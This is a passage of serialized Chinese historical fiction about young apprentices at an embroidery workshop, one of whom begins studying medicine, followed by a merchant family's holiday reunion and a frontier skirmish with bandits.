楚知求见金千缕软硬不接,便将叹了一口气后将漆盒打开,呈与金娘子眼前。只见里面放着一支金花筒桥梁钗,金钗的下面还垫着一张白色绢布。
“缕儿,那我便直说了,我想向你讨个人。我想要将秋水收为我的徒儿。可否割爱?”
金千缕见楚知求如此说,心中一气,撇开楚知求坐到了一旁椅子上,楚知求快步跟了上去,蹲在金千缕面前,还不忘把金钗举起。
“一支钗就想要讨要我最称心之徒?”
“缕儿,你不是收了三个吗?”
“贺得宝是贺来财求我收下的,并不打算学习刺绣,只是学些经营手段而已;祁多儿天赋虽比一般人强一些,但比起秋水来说差远了;唯有之前那木桂枝到是和秋水不相上下,但那人又没收进来。”
楚知求听这话,心中感觉有八成可成功,站了起来笑着对金千缕说:“缕儿,那若有秋水一般能力的人,可愿将秋水让于我吗?”
金缕望着楚知求玩味的笑道:“若你能寻得如此高人,那便可商量一番。”
楚知求顿觉心中轻松,将那盒子双手托于金千缕的面前:“缕儿,且看那金钗下的绢布上的绣图,是否能与之一比。”
金千缕将金钗放于桌上,拿起那绢布仔细观看了一番,好一幅蝶恋花,蝴蝶灵动,鲜花娇艳。
“你在何处寻得此种人才,她可愿进我绣坊?”
楚知求大笑了几声。望着屏风后喊道:“忍冬,出来见过金娘子。”
一个十来岁的小姑娘,由屏风后走出,向金娘子行了一个万福礼:“忍冬愿意进入绣坊学习刺绣。”
金娘子觉得此人有些眼熟,但是又不太记得起,想让她向前走走,但楚知求就让这个小姑娘回去了。
“茯苓,你先将忍冬带回去吧,忍冬明日金娘子带你去绣坊。”
忍冬便和茯苓向外走去了。
金娘子疑惑的看向楚知求,楚知求讪讪一笑。
“缕儿,刚才那位就是木桂枝。”
“你怎么还给人改了个名字?”
“那日听你说绣坊中事,便去打探了一下。她爹不愿放人,是因她家中姐姐刚出嫁,又一个双生弟弟和刚出生的孩子要照顾。她爹不愿意少个照顾家里的。正好收诊了个小孩,骨骼惊奇,可自己将骨头脱臼还原。于是我便让去招惹了一下她双生弟弟,讹了一笔,问给钱或者赔偿人,他爹拿她抵债了。签了卖身契给我。”
金千缕惊的半晌说不出话,先是惊讶于楚知求的无耻手段,又是惊讶觉得竟然如此简单。楚知求见金千缕没有回应,于是小心翼翼的问道“缕儿,可是觉得有什么不妥?”
有什么不妥,还能有什么不妥。他都做到这种地步了,现在问她有什么不妥,金千缕真是觉得好气又好笑。
金千缕叹了一口气,望向楚知求:“她可知此事?”
楚知求也叹了一口气:“她知,留下也是她所选。”
“她为何愿意留下?”
“晓之以情,动之以理。那秋水?”
楚知求又谄媚的看着金千缕,将金钗托在金千缕面前。金千缕拿起簪子走到镜子前插在头上说:“明日你与我同去绣坊,你问秋水,她若肯便可。”
那日听楚知求听说此事,便派人去打听了为何不来。听说她爹木大壮蛮横不讲理,贪财又懒惰。便想了这出计谋去坑他。让楚家的世交好友崔叔领了八位精壮护卫去他家讨个道理,崔叔刚说自己孩子与他儿子打闹弄折了胳膊。她爹竟说他也把自己儿子的手折了赔他。
幸好崔叔懂些武艺,将其拦下,怒斥了他一番。说折了他儿子的手也不算赔偿,除非赔偿二十两银子,或将他女儿顶债。木大壮就把躲在母亲身后的木桂枝一把丢给了崔叔,崔叔便当即与他签订了卖身契。
木桂枝在崔叔带回崔家的路上,哭了一路的要回家。哭到后面没有力气了,才停歇。回了崔家休养了两天,楚知求才去问她是否要留下。
楚知求先问那木桂枝你当时为何要去参加金记绣坊的考试,木桂枝答是自己听说,金记绣坊招收学徒,管吃喝。如果学得好,以后可以在金记绣坊当绣娘有工钱。如果学的不好,也只是让其回家而已不收钱,她就想去试一试。
楚知求又问木桂枝后来为何又不去?木桂枝答说是自己父亲担心家里没有人照顾,所以不舍让自己去。楚知求就将卖身契和二十两银子,放在桌上看了看木桂枝。
“给你两个选择,一个是当什么都不知道,就拿着这个卖身契直接去金记绣坊学艺,你爹就管不了你了。还一个是你回去和你爹说,被你弟弟打伤的人将你带到了济安堂,被金娘子的夫君楚医师认出来并赎身了,还赠予你二十两银子。你可以带这二十两银子回去找你爹再问是否可以去绣坊学艺。”
木桂枝思考了片刻,便选了第一个。楚知求便给木桂枝新取了一个名字忍冬。后让她先与崔叔学习识字,待到今日才带来与金娘子讨人。
第二日楚知求与金娘子带着忍冬,便去了绣坊。
“听闻华说,她们学业进展略快,三百千一类已学完了。现已进行诗文音律学习了。忍冬可觉有些难度?”金娘子在马车上才想起来,今日虽得良才入门,可却忘记问忍冬识字情况了。
“金娘子放心,三百千我也已学完,还学了一些孙子兵法。”忍冬看向金娘子回答到。
“崔叔教的?”金娘子听忍冬如此回答便看向楚知求。
楚知求笑着点了点头。
金娘子将忍冬交给姚教习,姚教习带着忍冬进了学堂。
“这位是忍冬,今后便与你们一同学习。”
忍冬跟着姚教习的手指的方向,坐到了秋水身后的位置。姚教习又看向秋水。
“秋水,金娘子在外等你。”
秋水满是疑惑的走了出去,金娘子和楚知求在外看着她走了过来。
“一根针,可以用来刺绣也可以用来救人,若是你,是愿刺绣还是救人?”
楚知求向秋水提出了这个问题,田如意在一旁呸了一声。金娘子被楚知求的这个问题气到发笑。她昨日和在来的路上思考良久,想看楚知求如何劝说一个孩子学医。甚至都已经想到楚知求向一个孩子解释医学的难堪样子,但是没想到楚知求的问题如此无耻且荒唐。
“救人!”<
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p>秋水坚定的回答,楚知求欣慰的看着秋水点了点头。
“金老板,可愿意信守承诺?”
楚知求一脸得意的看着金千缕。
“楚老板,你颇为无赖了些。”田如意不屑的看着楚知求。
楚知求心想,这田如意又想坏我好事,就你话多。
“非也非也,我只不过探究了一下秋水的心中,人命是比衣服的绣样重要的。对于一个八岁的孩子,知道这件事就够了。”
“谁不知道,人命比绣样重要。你用这个问题去问未免太武断了吧?”
“她不过是一个八岁的孩子,无论什么样的选择,于她而言都是不清晰的。田娘子既然知道人命比绣样重要,就不要阻拦了。”
田如意见楚知求如此诚恳,又看向金千缕,金千缕向她点了点头。
“罢了,既然你们没有意见,那就如此吧。”
“谢田娘子成全。”
秋水听田教习和楚医师如此说,大概明白了是让自己去开始学医。秋水想那是不是要和多多和得宝分开了,心中又有一些不舍。
“秋水还是住在绣坊,只是早上要起得早些,绣坊到济安堂要走两刻钟。每日辰时,安百生安师兄会在绣坊门口等你。你按照绣坊课程来,非刺绣日就在绣坊学习,刺绣日就去济安堂。明日就开始学刺绣了吧,明日安师兄会在绣坊门口等你。”
秋水听不用换位置还可以和多多秋水在一起,高兴的点了点头。
“看来秋水对学医还是很高兴的。”
楚知求看向金娘子,金娘子三分不屑,七分无奈的撇了楚知求一眼。
“秋水先行回去吧。”金娘子看向秋水说。
秋水向楚知求和金娘子行了一个礼,便开心的回去了学堂。
多多和得宝见秋水被喊了出去,心中疑惑,但又害怕严教习,一直等到严教习离开才围上秋水。
“为何金娘子要将你喊出去?”得宝眼巴巴的望着秋水。
“金娘子和楚医师让我去学医。”
“啊?”
得宝和多多都惊讶的叫了一声,学医?得宝和多多都觉得甚是惊讶,大荣虽说并非是没有女医师,但是医术被广为称赞的少之又少,到是一些女医于权贵之间的交往之事被大众津津乐道。唯有苗疆女医行医做事诡异,又于中原地区民风大不相同,倒是颇有胜名。
“学医有何不好吗?”
秋水见得宝和多多震惊又担心的样子,于是说到。
得宝眼泪汪汪的看着秋水:“我舍不得你。”
多儿担忧的看着秋水:“好是好,可女医比学刺绣难多了,你能坚持吗?”
“不试试怎会知呢?楚医师说了,我还是住这里,只有学刺绣日时才去济安堂,其余时候都在这里。”秋水对多多和得宝笑了笑。
“这到还好,你还在此。”得宝听秋水这么说,一下担忧的心就消失了。
秋水不知道学医有多难,但是她明白这是一件很了不得的事情,因为学的人少,学医的女子更少,所以这必然是一件很值得去做的事情。多多知道学医的难,因为这是一件不太被允许的事情,正如以前她不被允许学字一样难,所以多多希望秋水能够学好。得宝什么都不知道,得宝只希望秋水还能和她一起玩。
太阳一成不变的由东方升起,而太阳之下的每一寸土地都日新月异。
11. 初入岐黄识药忙
卯时刚过半,秋水便在门口等着了。路上有人朝绣坊而来,她都要想一下是不是安师兄来了。终于等到了辰时,安师兄一分不差的到了绣坊门口。
安百生先是看了一眼秋水,又转向门口护卫处问到:“可否劳烦通报一声,济安堂安百生前来接许秋水。”
那护卫倒是不客气,颇为不耐烦的说:“门口那小孩看不见吗?”
安百生听这护卫说话也不恼,还向护卫行了个礼道了谢。才向秋水走去:“我是安百生,来接你去济安堂。”
秋水望着安百生,点了点头。安百生将他的袖子递给秋水:“当心你走丢了,牵住我的衣袖不要松。”
秋水牵过安百生的衣袖,看了看安百生,黑色帽子配上一件灰褐色的宽袖搭讪。棕色的皮肤,脸是方的,眉毛眼睛是菱形的,鼻子嘴巴是长方形的。感觉像是一块木头雕的人,雕刻的人也不太用心但十分用劲。
安百生和秋水走了几步又看像秋水之后说:“你等很久了吗?”
秋水点了点头又摇了摇头。
安百生见秋水如此样子,以为是自己吓到了她便说:“不必害怕,我只是问问。我是安百生,你可以叫我安师兄,我就住这附近,以后我会天天来接送你。”
倒是一个活泼伶俐的小孩。只是不知道能坚持多久,毕竟学医艰苦,放弃的人不在少数,更何况是一个小女孩。
“多谢安师兄。”
秋水随着安百生来到了济安堂,李松见秋水来到门口,乐呵呵的走到了秋水面前。
“秋水小师妹?我是李松师兄,你以后称呼我为松师兄可好?”
秋水抬头看向李松,约莫是一个十五六岁的青年,长相秀气。细叶眉毛桃花眼,一脸亲和的笑意,不像是棵松树,更似桃花。秋水学着李松的模样给李松行了个礼。
“松师兄好!”
“那劳烦松师弟带秋水师妹去熟悉药堂的人,之后再带去后堂,与文元师伯先认识药材。”安百生眉头一簇就走了。
“是,安师兄,那小师妹随我走吧。”
“这边是账房,那位是潘三达潘主管,一般我们叫潘叔,年轻那位是崔始计崔师兄。”
秋水随着松师兄的手望过去,潘三达向秋水点了点头。是一位头戴儒巾蓄着山羊胡须穿着褐色襕衫。崔师兄站起来向秋水笑着行了一个礼,崔师兄倒是不同于其他人朴素穿着,是一件暗花白色内衫配上一件宝蓝色底白色锁子文交领半袖衫。
这位崔师兄虽是书生打扮,但却有一副武将气势。身形挺拔,有近七尺之高。面容俊朗,剑眉星目,眉骨高耸且向斜上方挑起,不是大荣所时兴的粉面郎君,但也是难得一见的俊少年。
“药柜前正在放药的是江天冬江师兄,写药方的是林青阳林师兄。还有一旁的安师兄你见过了。”
秋水与李松所介绍的师兄一一打过招呼,又随着松师兄穿过药柜一旁的门,来到二院,二院一共有三个屋子。中间屋子左侧又有一小门。走过那门,便来到了后院。
后院中有一四十多岁的男子在晒架旁。那男子用将身穿灰色圆领袍,袖子用臂绳束了起来。一边翻动一边挑拣着药材。见来了人,拍了拍手走到李松面前。
李松望向秋水,身体微微向前鞠躬,左手抬起指向文元师伯:“这位是文元师伯,你先和师伯学认药材。”
李松又向文元师伯行了一个礼后说道:“师伯这就是秋水,我就先告辞了。”
文元师伯看向秋水摸着胡子笑着点了点头,秋水望向文元师伯学着李松的样子说道:“师伯好。”
李松走后,秋水不知道说些什么,也不知道做些什么。只是呆呆的望着文元师伯。文元师伯看着秋水,又突然一抬头,好像是突然想起了什么,往院中一小屋走了进去。
文元师伯从屋子中走了出来,递给秋水一个红色香囊。秋水接过来一看,双面各绣着一只小老虎,绣工不算精巧,但十分可爱。
“里面装有玫瑰、檀香、藿香、白芷、木香、紫苏叶、青桔皮、小茴香。有疏肝解郁的作用,你若是学不进了,可以闻闻舒缓一下心情在继续。”
文元师伯还是笑着摸了摸胡子,若有所思的看着秋水。想起来好几十年前他大师姐也是如此对他说得这番话。
“谢谢文元师伯。”秋水闻了一下香囊,想着等以后给多儿她们都弄一个。
文元师伯给秋水介绍药材的名字和药性。时而递给一个药材让她尝一尝或是闻一闻。
“看一看,闻一闻,尝一尝这两有什么区别。”文元师伯递给秋水两块白色药材。
秋水接过按着文元师伯的说法试了试:“第一块有股香味,上面有些纹路,吃起来有些甜味后回苦,然后有些粘牙。第二块味道很淡的红薯味,表面光滑泛黄,吃起来偏酸有弹性。”
文元师伯又拿出两块和刚刚相似的白色药材:“你这次不尝,光看。猜猜哪一块是你刚试出来的第一块,哪一块是你刚试的第二块。”
秋水接过来看了一看,先后举起两块说:“这一块是第一块,这一块是第二块。”
文元师伯听秋水说完点了点头。
而后一直到午时吃饭休息了一个时辰,一直到戌时文元师伯都是一直让秋水闻和看来分辨药材。直到安百生过来提醒说要回去了,文元师伯才停下,秋水也早已累得不行。
“这套书你先将其带回去,仔细查阅我今天所介绍的药材有哪些,药性是什么。我明日再来考你。”
文元师伯将一套《神农本草集》递与秋水。秋水双手接过了书籍:“多谢师伯。”
文元摸着胡子看着,秋水和安百生离开的背影。怀念着三十年前的师姐,教他认药,不知未来的秋水是否能比师姐还要更胜一筹。
安百生在路上看着秋水抱着书踉踉跄跄的样子,有些心疼,便接过了秋水的书放入自己的背包中。又看秋水还是走得辛苦,想着她年纪还是小,自己又步伐较快就蹲在秋水面前:
“你这走的太慢了些,怕赶不上绣坊的晚饭,我来背你。”
“谢谢师兄。”秋水早就熬不住了,又饿有累又困。都想直接找块干净地躺下睡觉算了。见安师兄如此,便直接答应了。
安师兄一手拖着秋水,一手扶住背包:“你明日文元师伯在如此不停歇,你就说你要仔细观察一番这几种药材,乘机休息一会。”
秋水嗯了一生便睡过去了,她原本以为安师兄是那种顽固不化的硬木头,却没想到原来还会如此偷懒,真是人不可貌相。<
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p>晚上回绣坊,安师兄自己也有几分疲惫又背上了秋水,回来花费的时间比去的时间多了两刻钟。到绣坊时,天色已暗了,绣坊门口已经点了灯。
安师兄将秋水唤醒,又将书让秋水抱着,看着秋水完全清醒才让秋水走了回去。秋水路过膳堂看见绣坊师姐们正吃饭聊着天,又闻见饭香。困意一下消了个干净,只剩饿意,想着快点回去找多儿她们吃饭,又怕她们先吃了,不等自己。
秋水一路小跑到了房门前,多儿在床边站着,得宝和忍冬抱着在哭。这不至于是多儿把得宝和忍冬一起揍了吧?
“祖宗,你可算回来了,我算是愁死了。”多儿见秋水回来了,忙拉过秋水让她想想招。
秋水将书放在桌子上后又取下腰间的香囊,让忍冬和得宝拿着一起嗅嗅。
这香囊可以疏肝解郁,哭应该和郁结有关吧,管他有用没先转移一下她两注意力吧,别哭伤了。
秋水将香囊给了忍冬得宝后,看向多儿问道:“这?为何忍冬与得宝如此伤心?”
多儿叹了口气:“忍冬先哭,得宝劝了几句确也一同也哭起来了。”
忍冬见秋水回来了,吸了吸鼻子:“我一时心急而已,此时无碍了,秋水你吃饭了吗?”
秋水叹了一口气:“还未,你们可先吃了?”
啊,肚子已经咕咕叫了,看你们这样我也不知道是吃饭要紧还是问你们为什么哭要紧了。
多儿见忍冬和得宝情绪缓和,便说到:“我们也未,我先同你去拿饭,得宝与忍冬你们再休息一会儿。”
秋水跟着多儿去往厨房,秋水向多儿打听这是怎么回事。
傍晚时分,田教习今天教她们认布料,田教习见她们学得快就带着去对街吃些甜饮。在买杨梅渴水的忍冬时候遇见了她弟弟。
忍冬弟弟一把拉住她的手,一边哭一边说:“二姐姐,你跟我回去吧,你不在爹总是揍我。”忍冬一时惊愕,不知道说些什么,只是呆呆的站着。孙管家见此,将忍冬弟弟的手艺拉开:“那你二姐姐回去就不揍你了吗?”
她弟弟被拉开,又被孙管家一呵斥叫嚷道:“都怪二姐姐走了,才连累我。”
“真是个狠毒的小郎君,你姐姐现在可不是自由身,要让你姐姐走,让你爹爹来绣坊付赎金。”
孙管家见此叹了一口气,把忍冬拉着回了绣坊。田教习也就将她们几个也带回来了。回来后忍冬就躲被子里抽泣。得宝见了不忍心就上去劝,越劝忍冬就哭得越大声,后来得宝也跟着哭了起来。就是秋水回来所见得模样了。
多儿回来见忍冬和得宝缓和不少便问道:“这个香囊你们闻着有用吗?”
得宝抬起来头将香囊递给多儿说:“你试试,本来感觉脑子木木的,闻着舒服了不少。”忍冬也点了点头。
多儿笑着接过嗅了嗅,又递回去给了秋水:“确实有股沁人心脾的清香。”
“你们喜欢的话,等我学成了给你们配上几副。”
多儿笑了笑,又给秋水行了个礼:“那就先谢谢许医师了。”
秋水反应了一会儿,忙去挠多儿的痒痒:“好哇,你取笑我,等我学成了,第一个拿你试药。”
四个小娃娃,说着说着,便都笑着打闹了起来。
12. 冬日寒冷人情温
一晃过去三月有余,天气也入了冬,再过半月就是新年。秋水娘觉得这天气寒冷,又快过年,就不必休息日子都回去了,别在路上着了凉,年也过得不安生。就得宝家住城内被接了回去,多儿在姚教习处学着书。
孙管家怕秋水和忍冬烧炭着了火,白日里让忍冬和秋水都在自己房内待着。
这两小孩各抱着一个暖壶,忍冬在看着新出的话本,秋水在看着《黄帝内经》的《灵枢》篇记穴位,看着一会儿按自己点一下,点了自己又隔空指一下忍冬。忍冬开头还被秋水这神叨叨的样子吓着了,后来习惯了倒也无所谓了。
孙管家本在缝补着衣服,一会子困意来袭睡了过去。醒来看外头天色应是要戌时了,正预备要去厨房取些饭菜来,发觉脖子右侧有股子疼痛感,动弹不得。试探的动了一下,疼的孙管家哎呦了一声。
秋水忍冬被这一声惊的向孙管家望去,只看见孙管家歪着头,伸着右手,左手摸着右肩膀叫着“哎呦哎呦”。
秋水打量了孙管家片刻,看着孙管家说:“孙姑姑,你应是落枕了。”
“哎呦,那你可有什么法子让我快些好。”
秋水语气肯定的说:“施针于合谷,列缺,后溪还有落枕点便可。”
忍冬见秋水如此肯定,又看她日日虚空下针多时便说:“那孙姑姑若愿意,你就取了针来,与孙姑姑扎上几针吧。”
“秋水,你快些吧,我信你。”孙管家想这娃娃平时看着机智,这也不是什么大病,让这娃娃试试应该也无妨。
秋水也想下针,可师父并未给她针,只说先记住穴位。待明年三月,在进行实践。听她们说心中也是着急,突然想到,还有别的法子:“孙姑姑先莫着急,师父还未准许我用针,我这还有套按摩手法,半刻钟也能好。”
秋水走至孙管家身后,慢慢将孙管家身体扶正,用拇指沿着右侧的颈部肌肉,由上往下缓慢的拨动,如此来回推动了个七八次,孙管家这时感觉没有什么痛感了。而后用拇指从肩颈结合处缓慢的下推斜方肌如此又七八次。
在用手肘在肩膀处滚动两个来回和揉捏两个来回后秋水问道:“孙姑姑,你先动动脖子看是否还有不适。”
孙管家转了转脖子看向秋水:“哎!真神了,这下一点感觉都没有了。”
秋水听孙姑姑这么说害羞的笑了笑,忍冬看着秋水这样子一下笑出了声:“许医师以后必定要成神医的呀。”
秋水看向秋水哼了一身:“你这么打趣我,今后师父将针交予我了,第一个扎你。”
孙管家哈哈大笑:“你可要感谢她,她以后成神医了,第一个医你岂不是甚好?你们先在这等着,我去厨房取些饭菜,顺便将多儿喊回来吃饭,也让姚教习早点回去。天气这么冷,怕路上着凉了。”
秋水忙拦住孙管家,讲汤婆子放于孙官家肩上:“落枕乃气血不通之症状,你现在刚血气通,不可吹冷风。先热敷,孙姑姑你先后靠坐直缓解一下,我和忍冬去取饭就好。”
本让忍冬拿了木质四层提盒去厨房取菜,秋水去学堂寻多儿,多儿正巧回来了。多儿外披着件黄色绣着月桂百合带帽斗篷,怕书被雪打湿,将书放在了斗篷里面,一手拽着斗篷一手抱着书。
多儿见忍冬拿着食盒,便将怀中书籍递与秋水,接过忍冬的食盒说道:“我这刚从外回来,省的你两在受回冻,我去取饭吧。”
忍冬看了看多儿的手冻得通红,想要将食盒拿回来,多儿却又说:“你昨日还咳嗽了几声,莫要在着凉了。”
孙管家见她们三在门口拖拖拉拉便说道:“莫在门口多吹冷风了,多儿既还未脱外衣,就快些去取了回来吧,别冻着了。”
秋水见此,忙将书籍放在书架上,穿上多儿同款斗篷,取了只手套递给多儿:“那我和多儿去吧,一起拿。”
忍冬见此也就不在推脱,回了桌旁烤火,秋水和多儿去取饭了一刻钟才回来。只见多儿和秋水一人各托着食盒的一边。
多儿将饭菜拿出:“得亏是我和秋水两人去了,不然怕回不来。张厨娘硬给我们塞了四个烤橘子,说是冬日里吃了不受寒。又打了满满四碗羊肉汤。还说还要取些什么糖馍馍给我们,还好我两跑了。”
孙管家吹了吹羊肉汤,拿筷子搅一下笑了:“真是你两讨喜,我也不曾见过这些肉量。”
这厨房向来欺负新来的,所以才让新来的学徒三年不必和大伙一起吃饭,都是让我管理。今年的这四位,忍冬是楚医师送过来的,秋水是楚医师弟子,多儿是姚教习带着,得宝是第一木商的女儿,厨房里的倒是恭敬不少。
秋水将橘子放在火炉边:“这热橘子驱寒,到也确实不假,放这温着先,等会吃了饭消消食再将这橘子吃了也不浪费。”
绣坊这边大家伙其乐融融的吃着饭,得宝还在家里眼巴巴的等着爹爹回家。
早上得宝爹派人传了话回来,今日戌时左右应该会到家。得宝大娘心中着急,自己在那等着无趣便来了得宝娘的住处,寻得宝娘来聊天打发一下时间。
得宝大娘走入得宝娘的房间,将外衣脱去递给了下人,走至里屋。得宝娘和得宝坐在祥云雕花罗汉床上,上面的茶几摆着些小糕点,得宝倚着得宝娘撒着娇。
大娘见得宝倚着小娘说道:“这是为何?我们这小宝贝何时回受这些委屈了。”
小娘见大娘过来了,忙让得宝打招呼,又请大娘先坐下:“姐姐先坐下说话,小孩子闹着要去城外接她爹爹呢。我不依,就在这撒泼呢”
大娘眉头一皱,用手指轻点了一下得宝的头,又笑着说:“天气这么冷,可不能出去。就是孝心没处用,也不能吃这无妄的苦。”
小娘也笑了笑望着得宝:“大娘说的听清楚了吗?可不要在闹了。”
得宝不服气的哼了一声:“我日夜想着大娘小娘,所以每次都早早回来。爹爹却是不懂这个道理,我要去外面等他问问怎么不着急回来。是不是不想我们。”
大娘小娘听得宝这番话,哈哈一笑,大娘捏了捏得宝的脸:“就你嘴甜。”
得宝一下站了起来:“爹爹回来了。”
小娘听得宝这么说,仔细听了一听,外面好像是有所声响:“睡莲,你去外面看看,是不是郎君回来了。”
睡莲刚要去,就听见外面的敲门声。得宝爹带着两位仆从走了进来,大大小小各搬了四个包裹。得宝爹长得威武高大,身材也略微肥胖,眼睛溜圆,好似门口张贴的门神画像。
人虽长得凶,但为人却十分温和。得宝爹把冬衣丢在外面衣架上后坐至大娘身旁,烤了烤手。小娘给他倒了一杯热茶。他饮了热茶,搓了搓手才开口说话:“终于是暖和了,你们开始在聊些什么呢?”
大娘笑着说:“得宝刚说你,怎么回家这么慢,是不是不着急见到我们呢。可
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巧你就来了,不然得宝就要出去寻你去了。”
得宝爹捏了捏得宝的脸:“就是着急回来,才在路上给你们选礼物耽误了些时间。”
得宝爹先是拿了一个小方形的盒子,将外面的油纸剥了,露出一个黑色镶贝漆盒,打开一看是个共二十颗的珠链手环。
得宝爹将手环带在大娘子手上:“这是南洋金珠,比黄金成色不差。不是上次谁家娘子嚼舌根说你带黄金俗气,你就带着金珍珠,又有黄金的贵气,又有珍珠的雅致。”
大娘听这话心里乐滋滋的,但是又怕得宝爹花费多了,就问道:“那这不是比黄金还贵?”
得宝爹笑了笑:“穷日子我两过了好些年,现在好日子莫去操心问那么多。”
得宝笑嘻嘻的望着得宝爹。小娘虽脸上也挂着笑容,但是心中也有些酸楚,得宝爹和大娘虽都待自己极好,但还是有几分吃醋和难受。虽知道自己不应该多想,但还是控制不住。
大娘看小娘虽是在笑,眼里却是难过,就拍了拍得宝爹:“都随你。快些把若芙妹妹的和得宝的拿出来开开眼把。”
自己又何尝不难过呢,刚听说若芙要进门时,愁得好几宿睡不着。不知道怎么处理,心里愁自己帮不上郎君,又愁来的是个小妖精,要害了郎君。没想到是这么个如花美人,心地又善良,教导自己和孩子读书又帮郎君管理账目,自己还有什么不满?又能有什么不满呢?
得宝爹又拿出一个长型黑色镶花漆盒和方型红木雕花盒子,先打开了长型盒子,里面放有一个镶看三颗红色玛瑙,中间那颗有一节拇指大小,左右两颗较小只有一节食指大小,珍珠为链条的金项牌。
得宝爹拿着项牌带在了小娘的脖子上:“这是上面是西域玛瑙,项牌是我找工匠打造的。工匠说这是金云映红霞。样式不错,名字俗了些。”
大娘子看了看:“还是若芙长得好看,皮肤白嫩,更显玛瑙的璀璨。仔细一瞧,若芙妹妹比十多年前刚进门时还是没啥变化,貌美的很。”
小娘摸了摸项牌:“姐姐说笑了,是这红玛瑙映的我倒是年轻了。”
是啊一晃十来年了,刚来时,花船的姐妹都劝我要当心原配蹉跎。没想到是个这么好心的姐姐。今生让她受委屈了,希望来世可与她做一对好姐妹。
得宝看了小娘又看了看大娘,最后望向爹爹:“这个是我的吗?我可以打开吗?”
得宝爹点了点头。得宝便将剩下的盒子打开,是一个五彩的手链,她甚是喜欢,立马将其带在了手上:“爹爹这是什么?好漂亮。”
得宝爹摸了摸得宝的头:“这是彩色碧玺,剩下那些不是重要东西,吃了饭在拆了分。我已经让厨房把饭菜送来这里了。”
得宝一家终于是团圆的吃了顿饭,秋水家今日也收到了团圆的来信。今日早晨之时,信客将信送至秋水家。秋水爹打开信查看大喜又大忧。
信中写道:“不知家中是否已知消息?天子亲征,大荣士气大增,一举击溃燎耶战士。但今上念燎耶环境困苦,愿为燎耶成天下同盟,遂每年赠予燎耶二十万两白银,望以后广通商贸。未收回北燕十六州虽属遗憾,但最迟于来年四月我便可归家。”
秋水爹回信道:“快些归家也好,弟妹也甚想你。吾儿万不可意气用事,天下之事也如家事,外出的儿子想着归家,则是孝顺。若是家中的父亲常念儿子,就要被指责败儿了。”
13. 欲渡黄河冰塞川
秋水爹给春木的信随着信客来了军营,春木看过信后,骑马到了军营不远处的一片空地上。他望着无边际的雪和远处的高山想起一首诗,一时激动便颂了出来。
“而来充军天汉滨,南山小雪玉嶙峋。”
“芜湖!楚虽三户能亡秦,岂有堂堂中国空无人。”
春木看向后方,发觉来人身穿银甲,后背三截链锁芦叶枪,腰佩一黑色战刀。此枪乃是大荣第一铸器师为她量身打造,不用可旋转上下两端,分成三截收起。用时取出旋转又可变为长枪。
原是郝将军。郝将军乃是郝家军主帅郝风威的女儿郝北泷,三年前,大荣两万军队被困雪原,多亏郝将军及时带兵赶到,所以破例封了一个定北巾帼将军。
春木略带惊讶的说道:“郝将军”
郝将军将马骑至春木旁,望着远方说道:“北燕吹来的风不及京都吹来的风来的寒冷。”
春木惊讶的看向郝将军:“郝将军此言...”
“许夫长为何突然骑马出军营来此?”
“心中郁闷,便想出来散心。郝将军为何也来此?”
“我见你骑马出军营,又不带兵器,便跟上来了。你到一直没有发现,不像是那耳听八方眼观六路的许天眼。”
“让郝将军见笑了。”
“那许夫长是还要在这吟诗一会,还是回军营?”
“昨日听说附近村落有匪寇,你将兵器递与我吧,我去探查一番,郝将军你先回军营吧。”
郝将军沉思片刻过后便将腰间配刀解下递与了春木,春木接过刀之后向郝将军道了谢,就骑马向远处而去,郝将军只他是想去碰碰匪徒泄愤便也紧随其后。
两人骑马奔驰半个时辰之后,到了距离关外最近的一个村庄。村口有一壮汉右手持弯刀,左手牵马,望着来路。一旁停了三辆拉货的马车,两人守一车,皆双手持锤。样貌非常粗犷,非中原人士。
两人骑马向前发觉,还有三四位手持着马鞭的壮汉呵斥着七八位老汉将一些粮草帮运上马车。
村口骑马那壮汉看着郝将军与春木大声喝道:“别动,你们是何人?”
“郝家军的”
听此,那人眉毛微蹙,其他几人也面面相觑。那人思考片刻后对春木说道:“如今战事已平,将军不必在招惹麻烦了吧。”
春木冷哼一声:“你这匪寇到是有几分明事理,不如你们卖郝家军一份薄面,拿了这些东西就走了便是。”
那人讪讪笑道:“将军既然发话了,那我等便走了。”
一旁有位拿锤的壮汉见此不悦的说道:“大哥,我们这十多人的还怕这两人吗?”
那人啐了拿锤的壮汉一口:“蠢货,这两一看都是有职位的,打过了这两,等郝家军来取你狗头吗?”
拿锤的壮汉听此便退了下去,那拿弯刀的领头人便招呼着其他人走。
见那群匪寇骑马朝两人方向准备离开,春木与郝将军两人对视一眼,点了点头。待那群人离离开村口,即将走至两人面前,两人先是后退几步,春木大喊一声:“跑。”
那些村民听了此话急忙向最近的屋子躲去,那帮匪徒倒是呆愣的很,只是吃惊的望着许春木。
郝将军将背后长枪抽出,两手一转,便骑马向前冲去。她将领头贼口弯刀一挑,长枪向前一击,一枪直入喉间,将枪拔出,那人便直直的坠入马下,那人的鲜血将地上的雪烫上了一道红弧。
春木提刀骑马向前而去,向着后面赶着马车的人砍去,一下只听见刺啦一声后又咚的两声,赶车那人捂着脖子掉于马下。而后其余人慌了神似的拿着兵器向两人跑来。
春木连杀两人,郝将军紧随其后杀三人。有一使鞭的匪寇缠住了春木的马腿,一拉,马受惊掉了下来,郝将军也连忙跳下马,两人背靠背应对匪寇,半刻钟后,匪寇只余一人往远处跑去,其余皆被打倒。
春木见那人跑了十多丈,便把手中刀具朝那人投去,刀从其后背穿入又从胸膛穿出。那人僵住几秒便直直的向前倒去。
本以为尘埃落定,竟然有一人未完全断气,那人从坏中掏出一个毒针向春木吹去。春木躲避不及,便用手臂将其挡下,毒针扎于春木手臂正中处。春在衣服上扯下一条,抬起许春木的手将他手臂处绑紧。又将受伤处衣服扯开,拔出毒针,只感觉有些隐隐作痛。
郝将军见此急忙遏住那人脖子问道:“有没有毒?解药呢?”
那人只是呸了一声,吐了几口血便断了气。
见那人断气了,郝将军在那人身上摸索,只找到了几个铜板。
那几位老人听外面没了声响,才悄悄的走了出来,又见雪地上站着的只有两位将军。有一老人便想向前去看,另外一人拉住他摇了摇头。那人推开他手叹了一口气说道:“是祸躲不过。”
那老人走至春木两人面前跪下说:“不知将军因何来此,将军你也见到了,我们这小河村就剩我们几位老头了。如果是搬运粮草上尚有几分力,打仗的话实在是只能凑个人数了。”
郝将军将老头扶起说道:“老人家不必如此,仗已经停了。”
那人眼含热泪说道:“真的吗?将军莫要取乐老朽。”
“是真的。”
那老者擦了擦眼泪又问道:“既然战事已停,将军为何来此?”
郝将军说道:“我两本是来探查贼寇抢劫村庄一事,刚巧就遇见了贼匪了。但我这伙伴不幸遭贼人偷袭,受此毒针,不知道老人家可又解毒方式。”
